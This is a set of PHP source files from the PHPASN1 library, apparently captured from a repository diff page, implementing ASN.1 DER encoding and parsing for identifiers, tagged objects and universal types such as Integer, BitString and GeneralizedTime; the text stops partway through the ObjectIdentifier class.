namespace FG\ASN1;
use FG\ASN1\Exception\ParserException;
/**
* Class ExplicitlyTaggedObject decorate an inner object with an additional tag that gives information about
* its context specific meaning.
*
* Explanation taken from A Layman's Guide to a Subset of ASN.1, BER, and DER:
* >>> An RSA Laboratories Technical Note
* >>> Burton S. Kaliski Jr.
* >>> Revised November 1, 1993
*
* [...]
* Explicitly tagged types are derived from other types by adding an outer tag to the underlying type.
* In effect, explicitly tagged types are structured types consisting of one component, the underlying type.
* Explicit tagging is denoted by the ASN.1 keywords [class number] EXPLICIT (see Section 5.2).
* [...]
*
* @see http://luca.ntop.org/Teaching/Appunti/asn1.html
*/
class ExplicitlyTaggedObject extends ASNObject
{
/** @var \FG\ASN1\ASNObject[] */
private $decoratedObjects;
private $tag;
/**
* @param int $tag
* @param \FG\ASN1\ASNObject $objects,...
*/
public function __construct($tag, /* HH_FIXME[4858]: variadic + strict */ ...$objects)
{
$this->tag = $tag;
$this->decoratedObjects = $objects;
}
protected function calculateContentLength()
{
$length = 0;
foreach ($this->decoratedObjects as $object) {
$length += $object->getObjectLength();
}
return $length;
}
protected function getEncodedValue()
{
$encoded = '';
foreach ($this->decoratedObjects as $object) {
$encoded .= $object->getBinary();
}
return $encoded;
}
public function getContent()
{
return $this->decoratedObjects;
}
public function __toString()
{
switch ($length = count($this->decoratedObjects)) {
case 0:
return "Context specific empty object with tag [{$this->tag}]";
case 1:
$decoratedType = Identifier::getShortName($this->decoratedObjects[0]->getType());
return "Context specific $decoratedType with tag [{$this->tag}]";
default:
return "$length context specific objects with tag [{$this->tag}]";
}
}
public function getType()
{
return ord($this->getIdentifier());
}
public function getIdentifier()
{
$identifier = Identifier::create(Identifier::CLASS_CONTEXT_SPECIFIC, true, $this->tag);
return is_int($identifier) ? chr($identifier) : $identifier;
}
public function getTag()
{
return $this->tag;
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
$identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
$firstIdentifierOctet = ord($identifier);
assert(Identifier::isContextSpecificClass($firstIdentifierOctet), 'identifier octet should indicate context specific class');
assert(Identifier::isConstructed($firstIdentifierOctet), 'identifier octet should indicate constructed object');
$tag = Identifier::getTagNumber($identifier);
$totalContentLength = self::parseContentLength($binaryData, $offsetIndex);
$remainingContentLength = $totalContentLength;
$offsetIndexOfDecoratedObject = $offsetIndex;
$decoratedObjects = [];
while ($remainingContentLength > 0) {
$nextObject = ASNObject::fromBinary($binaryData, $offsetIndex);
$remainingContentLength -= $nextObject->getObjectLength();
$decoratedObjects[] = $nextObject;
}
if ($remainingContentLength != 0) {
throw new ParserException("Context-Specific explicitly tagged object [$tag] starting at offset $offsetIndexOfDecoratedObject specifies a length of $totalContentLength octets but $remainingContentLength remain after parsing the content", $offsetIndexOfDecoratedObject);
}
$parsedObject = new self($tag, ...$decoratedObjects);
$parsedObject->setContentLength($totalContentLength);
return $parsedObject;
}
}
+339
View File
@@ -0,0 +1,339 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use Exception;
/**
* The Identifier encodes the ASN.1 tag (class and number) of the type of a data value.
*
* Every identifier whose number is in the range 0 to 30 has the following structure:
*
* Bits: 8 7 6 5 4 3 2 1
* | Class | P/C | Tag number |
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*
* Bits 8 and 7 define the class of this type ( Universal, Application, Context-specific or Private).
* Bit 6 encoded whether this type is primitive or constructed
* The remaining bits 5 - 1 encode the tag number
*/
class Identifier
{
const CLASS_UNIVERSAL = 0x00;
const CLASS_APPLICATION = 0x01;
const CLASS_CONTEXT_SPECIFIC = 0x02;
const CLASS_PRIVATE = 0x03;
const EOC = 0x00; // unsupported for now
const BOOLEAN = 0x01;
const INTEGER = 0x02;
const BITSTRING = 0x03;
const OCTETSTRING = 0x04;
const NULL = 0x05;
const OBJECT_IDENTIFIER = 0x06;
const OBJECT_DESCRIPTOR = 0x07;
const EXTERNAL = 0x08; // unsupported for now
const REAL = 0x09; // unsupported for now
const ENUMERATED = 0x0A;
const EMBEDDED_PDV = 0x0B; // unsupported for now
const UTF8_STRING = 0x0C;
const RELATIVE_OID = 0x0D;
// value 0x0E and 0x0F are reserved for future use
const SEQUENCE = 0x30;
const SET = 0x31;
const NUMERIC_STRING = 0x12;
const PRINTABLE_STRING = 0x13;
const T61_STRING = 0x14; // sometimes referred to as TeletextString
const VIDEOTEXT_STRING = 0x15;
const IA5_STRING = 0x16;
const UTC_TIME = 0x17;
const GENERALIZED_TIME = 0x18;
const GRAPHIC_STRING = 0x19;
const VISIBLE_STRING = 0x1A;
const GENERAL_STRING = 0x1B;
const UNIVERSAL_STRING = 0x1C;
const CHARACTER_STRING = 0x1D; // Unrestricted character type
const BMP_STRING = 0x1E;
const LONG_FORM = 0x1F;
const IS_CONSTRUCTED = 0x20;
/**
* Creates an identifier. Short form identifiers are returned as integers
* for BC, long form identifiers will be returned as a string of octets.
*
* @param int $class
* @param bool $isConstructed
* @param int $tagNumber
*
* @throws Exception if the given arguments are invalid
*
* @return int|string
*/
public static function create($class, $isConstructed, $tagNumber)
{
if (!is_numeric($class) || $class < self::CLASS_UNIVERSAL || $class > self::CLASS_PRIVATE) {
throw new Exception(sprintf('Invalid class %d given', $class));
}
if (!is_bool($isConstructed)) {
throw new Exception("\$isConstructed must be a boolean value ($isConstructed given)");
}
$tagNumber = self::makeNumeric($tagNumber);
if ($tagNumber < 0) {
throw new Exception(sprintf('Invalid $tagNumber %d given. You can only use positive integers.', $tagNumber));
}
if ($tagNumber < self::LONG_FORM) {
return ($class << 6) | ($isConstructed << 5) | $tagNumber;
}
$firstOctet = ($class << 6) | ($isConstructed << 5) | self::LONG_FORM;
// Tag numbers formatted in long form are base-128 encoded. See X.609#8.1.2.4
return chr($firstOctet).Base128::encode($tagNumber);
}
public static function isConstructed($identifierOctet)
{
return ($identifierOctet & self::IS_CONSTRUCTED) === self::IS_CONSTRUCTED;
}
public static function isLongForm($identifierOctet)
{
return ($identifierOctet & self::LONG_FORM) === self::LONG_FORM;
}
/**
* Return the name of the mapped ASN.1 type with a preceding "ASN.1 ".
*
* Example: ASN.1 Octet String
*
* @see Identifier::getShortName()
*
* @param int|string $identifier
*
* @return string
*/
public static function getName($identifier)
{
$identifierOctet = self::makeNumeric($identifier);
$typeName = static::getShortName($identifier);
if (($identifierOctet & self::LONG_FORM) < self::LONG_FORM) {
$typeName = "ASN.1 {$typeName}";
}
return $typeName;
}
/**
* Return the short version of the type name.
*
* If the given identifier octet can be mapped to a known universal type this will
* return its name. Else Identifier::getClassDescription() is used to retrieve
* information about the identifier.
*
* @see Identifier::getName()
* @see Identifier::getClassDescription()
*
* @param int|string $identifier
*
* @return string
*/
public static function getShortName($identifier)
{
$identifierOctet = self::makeNumeric($identifier);
switch ($identifierOctet) {
case self::EOC:
return 'End-of-contents octet';
case self::BOOLEAN:
return 'Boolean';
case self::INTEGER:
return 'Integer';
case self::BITSTRING:
return 'Bit String';
case self::OCTETSTRING:
return 'Octet String';
case self::NULL:
return 'NULL';
case self::OBJECT_IDENTIFIER:
return 'Object Identifier';
case self::OBJECT_DESCRIPTOR:
return 'Object Descriptor';
case self::EXTERNAL:
return 'External Type';
case self::REAL:
return 'Real';
case self::ENUMERATED:
return 'Enumerated';
case self::EMBEDDED_PDV:
return 'Embedded PDV';
case self::UTF8_STRING:
return 'UTF8 String';
case self::RELATIVE_OID:
return 'Relative OID';
case self::SEQUENCE:
return 'Sequence';
case self::SET:
return 'Set';
case self::NUMERIC_STRING:
return 'Numeric String';
case self::PRINTABLE_STRING:
return 'Printable String';
case self::T61_STRING:
return 'T61 String';
case self::VIDEOTEXT_STRING:
return 'Videotext String';
case self::IA5_STRING:
return 'IA5 String';
case self::UTC_TIME:
return 'UTC Time';
case self::GENERALIZED_TIME:
return 'Generalized Time';
case self::GRAPHIC_STRING:
return 'Graphic String';
case self::VISIBLE_STRING:
return 'Visible String';
case self::GENERAL_STRING:
return 'General String';
case self::UNIVERSAL_STRING:
return 'Universal String';
case self::CHARACTER_STRING:
return 'Character String';
case self::BMP_STRING:
return 'BMP String';
case 0x0E:
return 'RESERVED (0x0E)';
case 0x0F:
return 'RESERVED (0x0F)';
case self::LONG_FORM:
default:
$classDescription = self::getClassDescription($identifier);
if (is_int($identifier)) {
$identifier = chr($identifier);
}
return "$classDescription (0x".strtoupper(bin2hex($identifier)).')';
}
}
/**
* Returns a textual description of the information encoded in a given identifier octet.
*
* The first three (most significant) bytes are evaluated to determine if this is a
* constructed or primitive type and if it is either universal, application, context-specific or
* private.
*
* Example:
* Constructed context-specific
* Primitive universal
*
* @param int|string $identifier
*
* @return string
*/
public static function getClassDescription($identifier)
{
$identifierOctet = self::makeNumeric($identifier);
if (self::isConstructed($identifierOctet)) {
$classDescription = 'Constructed ';
} else {
$classDescription = 'Primitive ';
}
$classBits = $identifierOctet >> 6;
switch ($classBits) {
case self::CLASS_UNIVERSAL:
$classDescription .= 'universal';
break;
case self::CLASS_APPLICATION:
$classDescription .= 'application';
break;
case self::CLASS_CONTEXT_SPECIFIC:
$tagNumber = self::getTagNumber($identifier);
$classDescription = "[$tagNumber] Context-specific";
break;
case self::CLASS_PRIVATE:
$classDescription .= 'private';
break;
default:
return "INVALID IDENTIFIER OCTET: {$identifierOctet}";
}
return $classDescription;
}
/**
* @param int|string $identifier
*
* @return int
*/
public static function getTagNumber($identifier)
{
$firstOctet = self::makeNumeric($identifier);
$tagNumber = $firstOctet & self::LONG_FORM;
if ($tagNumber < self::LONG_FORM) {
return $tagNumber;
}
if (is_numeric($identifier)) {
$identifier = chr($identifier);
}
return Base128::decode(substr($identifier, 1));
}
public static function isUniversalClass($identifier)
{
$identifier = self::makeNumeric($identifier);
return $identifier >> 6 == self::CLASS_UNIVERSAL;
}
public static function isApplicationClass($identifier)
{
$identifier = self::makeNumeric($identifier);
return $identifier >> 6 == self::CLASS_APPLICATION;
}
public static function isContextSpecificClass($identifier)
{
$identifier = self::makeNumeric($identifier);
return $identifier >> 6 == self::CLASS_CONTEXT_SPECIFIC;
}
public static function isPrivateClass($identifier)
{
$identifier = self::makeNumeric($identifier);
return $identifier >> 6 == self::CLASS_PRIVATE;
}
private static function makeNumeric($identifierOctet)
{
if (!is_numeric($identifierOctet)) {
return ord($identifierOctet);
} else {
return $identifierOctet;
}
}
}
File diff suppressed because it is too large Load Diff
+32
View File
@@ -0,0 +1,32 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use FG\ASN1\Exception\ParserException;
/**
* The Parsable interface describes classes that can be parsed from their binary DER representation.
*/
interface Parsable
{
/**
* Parse an instance of this class from its binary DER encoded representation.
*
* @param string $binaryData
* @param int $offsetIndex the offset at which parsing of the $binaryData is started. This parameter ill be modified
* to contain the offset index of the next object after this object has been parsed
*
* @throws ParserException if the given binary data is either invalid or not currently supported
*
* @return static
*/
public static function fromBinary(&$binaryData, &$offsetIndex = null);
}
@@ -0,0 +1,70 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1;
use Exception;
use FG\ASN1\Exception\ParserException;
use FG\ASN1\Universal\Sequence;
class TemplateParser
{
/**
* @param string $data
* @param array $template
* @return \FG\ASN1\ASNObject|Sequence
* @throws ParserException if there was an issue parsing
*/
public function parseBase64($data, array $template)
{
// TODO test with invalid data
return $this->parseBinary(base64_decode($data), $template);
}
/**
* @param string $binary
* @param array $template
* @return \FG\ASN1\ASNObject|Sequence
* @throws ParserException if there was an issue parsing
*/
public function parseBinary($binary, array $template)
{
$parsedObject = ASNObject::fromBinary($binary);
foreach ($template as $key => $value) {
$this->validate($parsedObject, $key, $value);
}
return $parsedObject;
}
private function validate(ASNObject $object, $key, $value)
{
if (is_array($value)) {
$this->assertTypeId($key, $object);
/* @var Construct $object */
foreach ($value as $key => $child) {
$this->validate($object->current(), $key, $child);
$object->next();
}
} else {
$this->assertTypeId($value, $object);
}
}
private function assertTypeId($expectedTypeId, ASNObject $object)
{
$actualType = $object->getType();
if ($expectedTypeId != $actualType) {
throw new Exception("Expected type ($expectedTypeId) does not match actual type ($actualType");
}
}
}
@@ -0,0 +1,41 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class BMPString extends AbstractString
{
/**
* Creates a new ASN.1 BMP String.
*
* BMPString is a subtype of UniversalString that has its own
* unique tag and contains only the characters in the
* Basic Multilingual Plane (those corresponding to the first
* 64K-2 cells, less cells whose encoding is used to address
* characters outside the Basic Multilingual Plane) of ISO/IEC 10646-1.
*
* TODO The encodable characters of this type are not yet checked.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::BMP_STRING;
}
}
@@ -0,0 +1,88 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use Exception;
use FG\ASN1\Exception\ParserException;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
class BitString extends OctetString implements Parsable
{
private $nrOfUnusedBits;
/**
* Creates a new ASN.1 BitString object.
*
* @param string|int $value Either the hexadecimal value as a string (spaces are allowed - leading 0x is optional) or a numeric value
* @param int $nrOfUnusedBits the number of unused bits in the last octet [optional].
*
* @throws Exception if the second parameter is no positive numeric value
*/
public function __construct($value, $nrOfUnusedBits = 0)
{
parent::__construct($value);
if (!is_numeric($nrOfUnusedBits) || $nrOfUnusedBits < 0) {
throw new Exception('BitString: second parameter needs to be a positive number (or zero)!');
}
$this->nrOfUnusedBits = $nrOfUnusedBits;
}
public function getType()
{
return Identifier::BITSTRING;
}
protected function calculateContentLength()
{
// add one to the length for the first octet which encodes the number of unused bits in the last octet
return parent::calculateContentLength() + 1;
}
protected function getEncodedValue()
{
// the first octet determines the number of unused bits
$nrOfUnusedBitsOctet = chr($this->nrOfUnusedBits);
$actualContent = parent::getEncodedValue();
return $nrOfUnusedBitsOctet.$actualContent;
}
public function getNumberOfUnusedBits()
{
return $this->nrOfUnusedBits;
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::BITSTRING, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 2);
$nrOfUnusedBits = ord($binaryData[$offsetIndex]);
$value = substr($binaryData, $offsetIndex + 1, $contentLength - 1);
if ($nrOfUnusedBits > 7 || // no less than 1 used, otherwise non-minimal
($contentLength - 1) == 1 && $nrOfUnusedBits > 0 || // content length only 1, no
(ord($value[strlen($value)-1])&((1<<$nrOfUnusedBits)-1)) != 0 // unused bits set
) {
throw new ParserException("Can not parse bit string with invalid padding", $offsetIndex);
}
$offsetIndex += $contentLength;
$parsedObject = new self(bin2hex($value), $nrOfUnusedBits);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,75 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\ASNObject;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
class Boolean extends ASNObject implements Parsable
{
private $value;
/**
* @param bool $value
*/
public function __construct($value)
{
$this->value = $value;
}
public function getType()
{
return Identifier::BOOLEAN;
}
protected function calculateContentLength()
{
return 1;
}
protected function getEncodedValue()
{
if ($this->value == false) {
return chr(0x00);
} else {
return chr(0xFF);
}
}
public function getContent()
{
if ($this->value == true) {
return 'TRUE';
} else {
return 'FALSE';
}
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::BOOLEAN, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
if ($contentLength != 1) {
throw new ParserException("An ASN.1 Boolean should not have a length other than one. Extracted length was {$contentLength}", $offsetIndex);
}
$value = ord($binaryData[$offsetIndex++]);
$booleanValue = $value == 0xFF ? true : false;
$parsedObject = new self($booleanValue);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,28 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class CharacterString extends AbstractString
{
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::CHARACTER_STRING;
}
}
@@ -0,0 +1,21 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\Identifier;
class Enumerated extends Integer
{
public function getType()
{
return Identifier::ENUMERATED;
}
}
@@ -0,0 +1,34 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class GeneralString extends AbstractString
{
/**
* Creates a new ASN.1 GeneralString.
* TODO The encodable characters of this type are not yet checked.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::GENERAL_STRING;
}
}
@@ -0,0 +1,134 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractTime;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
/**
* This ASN.1 universal type contains date and time information according to ISO 8601.
*
* The type consists of values representing:
* a) a calendar date, as defined in ISO 8601; and
* b) a time of day, to any of the precisions defined in ISO 8601, except for the hours value 24 which shall not be used; and
* c) the local time differential factor as defined in ISO 8601.
*
* Decoding of this type will accept the Basic Encoding Rules (BER)
* The encoding will comply with the Distinguished Encoding Rules (DER).
*/
class GeneralizedTime extends AbstractTime implements Parsable
{
private $microseconds;
public function __construct($dateTime = null, $dateTimeZone = 'UTC')
{
parent::__construct($dateTime, $dateTimeZone);
$this->microseconds = $this->value->format('u');
if ($this->containsFractionalSecondsElement()) {
// DER requires us to remove trailing zeros
$this->microseconds = preg_replace('/([1-9]+)0+$/', '$1', $this->microseconds);
}
}
public function getType()
{
return Identifier::GENERALIZED_TIME;
}
protected function calculateContentLength()
{
$contentSize = 15; // YYYYMMDDHHmmSSZ
if ($this->containsFractionalSecondsElement()) {
$contentSize += 1 + strlen($this->microseconds);
}
return $contentSize;
}
public function containsFractionalSecondsElement()
{
return intval($this->microseconds) > 0;
}
protected function getEncodedValue()
{
$encodedContent = $this->value->format('YmdHis');
if ($this->containsFractionalSecondsElement()) {
$encodedContent .= ".{$this->microseconds}";
}
return $encodedContent.'Z';
}
public function __toString()
{
if ($this->containsFractionalSecondsElement()) {
return $this->value->format("Y-m-d\tH:i:s.uP");
} else {
return $this->value->format("Y-m-d\tH:i:sP");
}
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::GENERALIZED_TIME, $offsetIndex++);
$lengthOfMinimumTimeString = 14; // YYYYMMDDHHmmSS
$contentLength = self::parseContentLength($binaryData, $offsetIndex, $lengthOfMinimumTimeString);
$maximumBytesToRead = $contentLength;
$format = 'YmdGis';
$content = substr($binaryData, $offsetIndex, $contentLength);
$dateTimeString = substr($content, 0, $lengthOfMinimumTimeString);
$offsetIndex += $lengthOfMinimumTimeString;
$maximumBytesToRead -= $lengthOfMinimumTimeString;
if ($contentLength == $lengthOfMinimumTimeString) {
$localTimeZone = new \DateTimeZone(date_default_timezone_get());
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, $localTimeZone);
} else {
if ($binaryData[$offsetIndex] == '.') {
$maximumBytesToRead--; // account for the '.'
$nrOfFractionalSecondElements = 1; // account for the '.'
while ($maximumBytesToRead > 0
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '+'
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != '-'
&& $binaryData[$offsetIndex + $nrOfFractionalSecondElements] != 'Z') {
$nrOfFractionalSecondElements++;
$maximumBytesToRead--;
}
$dateTimeString .= substr($binaryData, $offsetIndex, $nrOfFractionalSecondElements);
$offsetIndex += $nrOfFractionalSecondElements;
$format .= '.u';
}
$dateTime = \DateTime::createFromFormat($format, $dateTimeString, new \DateTimeZone('UTC'));
if ($maximumBytesToRead > 0) {
if ($binaryData[$offsetIndex] == '+'
|| $binaryData[$offsetIndex] == '-') {
$dateTime = static::extractTimeZoneData($binaryData, $offsetIndex, $dateTime);
} elseif ($binaryData[$offsetIndex++] != 'Z') {
throw new ParserException('Invalid ISO 8601 Time String', $offsetIndex);
}
}
}
$parsedObject = new self($dateTime);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,34 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class GraphicString extends AbstractString
{
/**
* Creates a new ASN.1 Graphic String.
* TODO The encodable characters of this type are not yet checked.
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowAll();
}
public function getType()
{
return Identifier::GRAPHIC_STRING;
}
}
@@ -0,0 +1,35 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
/**
* The International Alphabet No.5 (IA5) references the encoding of the ASCII characters.
*
* Each character in the data is encoded as 1 byte.
*/
class IA5String extends AbstractString
{
public function __construct($string)
{
parent::__construct($string);
for ($i = 1; $i < 128; $i++) {
$this->allowCharacter(chr($i));
}
}
public function getType()
{
return Identifier::IA5_STRING;
}
}
@@ -0,0 +1,130 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use Exception;
use FG\Utility\BigInteger;
use FG\ASN1\Exception\ParserException;
use FG\ASN1\ASNObject;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
class Integer extends ASNObject implements Parsable
{
/** @var int */
private $value;
/**
* @param int $value
*
* @throws Exception if the value is not numeric
*/
public function __construct($value)
{
if (is_numeric($value) == false) {
throw new Exception("Invalid VALUE [{$value}] for ASN1_INTEGER");
}
$this->value = $value;
}
public function getType()
{
return Identifier::INTEGER;
}
public function getContent()
{
return $this->value;
}
protected function calculateContentLength()
{
return strlen($this->getEncodedValue());
}
protected function getEncodedValue()
{
$value = BigInteger::create($this->value, 10);
$negative = $value->compare(0) < 0;
if ($negative) {
$value = $value->absoluteValue();
$limit = 0x80;
} else {
$limit = 0x7f;
}
$mod = 0xff+1;
$values = [];
while($value->compare($limit) > 0) {
$values[] = $value->modulus($mod)->toInteger();
$value = $value->shiftRight(8);
}
$values[] = $value->modulus($mod)->toInteger();
$numValues = count($values);
if ($negative) {
for ($i = 0; $i < $numValues; $i++) {
$values[$i] = 0xff - $values[$i];
}
for ($i = 0; $i < $numValues; $i++) {
$values[$i] += 1;
if ($values[$i] <= 0xff) {
break;
}
assert($i != $numValues - 1);
$values[$i] = 0;
}
if ($values[$numValues - 1] == 0x7f) {
$values[] = 0xff;
}
}
$values = array_reverse($values);
$r = pack("C*", ...$values);
return $r;
}
private static function ensureMinimalEncoding($binaryData, $offsetIndex)
{
// All the first nine bits cannot equal 0 or 1, which would
// be non-minimal encoding for positive and negative integers respectively
if ((ord($binaryData[$offsetIndex]) == 0x00 && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0) ||
(ord($binaryData[$offsetIndex]) == 0xff && (ord($binaryData[$offsetIndex+1]) & 0x80) == 0x80)) {
throw new ParserException("Integer not minimally encoded", $offsetIndex);
}
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
$parsedObject = new static(0);
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex, 1);
if ($contentLength > 1) {
self::ensureMinimalEncoding($binaryData, $offsetIndex);
}
$isNegative = (ord($binaryData[$offsetIndex]) & 0x80) != 0x00;
$number = BigInteger::create(ord($binaryData[$offsetIndex++]) & 0x7F);
for ($i = 0; $i < $contentLength - 1; $i++) {
$number = $number->multiply(0x100)->add(ord($binaryData[$offsetIndex++]));
}
if ($isNegative) {
$number = $number->subtract(BigInteger::create(2)->toPower(8 * $contentLength - 1));
}
$parsedObject = new static((string)$number);
$parsedObject->setContentLength($contentLength);
return $parsedObject;
}
}
@@ -0,0 +1,54 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\ASNObject;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
class NullObject extends ASNObject implements Parsable
{
public function getType()
{
return Identifier::NULL;
}
protected function calculateContentLength()
{
return 0;
}
protected function getEncodedValue()
{
return null;
}
public function getContent()
{
return 'NULL';
}
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
{
self::parseIdentifier($binaryData[$offsetIndex], Identifier::NULL, $offsetIndex++);
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
if ($contentLength != 0) {
throw new ParserException("An ASN.1 Null should not have a length other than zero. Extracted length was {$contentLength}", $offsetIndex);
}
$parsedObject = new self();
$parsedObject->setContentLength(0);
return $parsedObject;
}
}
@@ -0,0 +1,38 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\AbstractString;
use FG\ASN1\Identifier;
class NumericString extends AbstractString
{
/**
* Creates a new ASN.1 NumericString.
*
* The following characters are permitted:
* Digits 0,1, ... 9
* SPACE (space)
*
* @param string $string
*/
public function __construct($string)
{
$this->value = $string;
$this->allowNumbers();
$this->allowSpaces();
}
public function getType()
{
return Identifier::NUMERIC_STRING;
}
}
@@ -0,0 +1,26 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use FG\ASN1\Identifier;
class ObjectDescriptor extends GraphicString
{
public function __construct($objectDescription)
{
parent::__construct($objectDescription);
}
public function getType()
{
return Identifier::OBJECT_DESCRIPTOR;
}
}
@@ -0,0 +1,138 @@
<?php
/*
* This file is part of the PHPASN1 library.
*
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace FG\ASN1\Universal;
use Exception;
use FG\ASN1\Base128;
use FG\ASN1\OID;
use FG\ASN1\ASNObject;
use FG\ASN1\Parsable;
use FG\ASN1\Identifier;
use FG\ASN1\Exception\ParserException;
class ObjectIdentifier extends ASNObject implements Parsable
{
protected $subIdentifiers;
protected $value;
public function __construct($value)
{
$this->subIdentifiers = explode('.', $value);
$nrOfSubIdentifiers = count($this->subIdentifiers);
for ($i = 0; $i < $nrOfSubIdentifiers; $i++) {
if (is_numeric($this->subIdentifiers[$i])) {
// enforce the integer type
$this->subIdentifiers[$i] = intval($this->subIdentifiers[$i]);
} else {
throw new Exception("[{$value}] is no valid object identifier (sub identifier ".($i + 1).' is not numeric)!');
}
}
// Merge the first to arcs of the OID registration tree (per ASN definition!)
if ($nrOfSubIdentifiers >= 2) {
$this->subIdentifiers[1] = ($this->subIdentifiers[0] * 40) + $this->subIdentifiers[1];
unset($this->subIdentifiers[0]);
}
$this->value = $value;
}
public function getContent()
{
return $this->value;
}
public function getType()
{
return Identifier::OBJECT_IDENTIFIER;
}
protected function calculateContentLength()
{
$length = 0;
foreach ($this->subIdentifiers as $subIdentifier) {
do {
$subIdentifier = $subIdentifier >> 7;
$length++;
} while ($subIdentifier > 0);
}
return $length;
}
protected function getEncodedValue()
{
$encodedValue = '';
foreach ($this->subIdentifiers as $subIdentifier) {
